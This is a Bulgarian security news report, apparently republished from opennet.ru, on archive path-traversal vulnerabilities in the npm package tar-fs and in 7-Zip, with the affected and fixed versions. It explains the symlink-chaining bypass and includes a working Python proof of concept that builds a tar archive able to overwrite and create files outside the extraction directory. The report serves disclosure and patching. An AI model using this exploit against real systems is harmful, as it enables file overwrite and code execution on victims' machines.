Уязвимости в tar-fs и 7-Zip, позволяващи запис на файлове извън основната директория

В NPM пакета tar-fs е открита уязвимост (CVE-2025-48387), която позволява при разархивиране на специално оформен tar архив да се записват файлове в произволни части на файловата система, без ограничение от директорията, в която се извършва разархивирането (в зависимост от правата на текущия потребител). Уязвимостта може да се използва и за презапис на съществуващи файлове. Например, за целите на изпълнението на свой код в системата, файлове като «.ssh/id_rsa» или «.bashrc» в домашната директория на потребителя могат да бъдат презаписани.

На проблема е присвоен критичен статус, отчитайки, че пакетът tar-fs има 23 милиона сваляния на седмица и се използва като зависимост в 1155 проекта. Уязвимостта е отстранена в версии 3.0.9, 2.1.3 и 1.16.5, които са издадени през май, но информацията за уязвимостта е разкрита едва след почти 3 месеца.

Уязвимостта е причинена от недостатъчни проверки на символични и твърди връзки в архива, за да се предотврати излизането им извън целевата директория за разархивиране. За заобикаляне на проверките се използват две символични връзки: първата указва на кореновата директория за разархивиране на архива («.»), а втората се създава относително на първата символична връзка и използва символите «../» в името си, за да излезе извън основната директория. Например, първата връзка «noop/noop/noop» указва на «.», а втората «noop/noop/noop/../../..» се интерпретира като «./../../..». За организиране на презапис на файлове в архива може да се създаде твърда връзка, сочеща към външен файл, относително на втората символична връзка. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Подобна уязвимост (CVE-2025-55188) е открита в архиватора 7-Zip. За запис на файлове извън основната директория в 7-Zip също могат да се използват символични връзки с последователност «../» в пътя на файла. Проблемът може да бъде експлоатиран при разархивиране с помощта на 7-Zip на каквито и да е архиви, които поддържат символични връзки, например, zip, tar, 7z и rar. Проблемът е отстранен в версия 7-Zip 25.01.

Източник: opennet.ru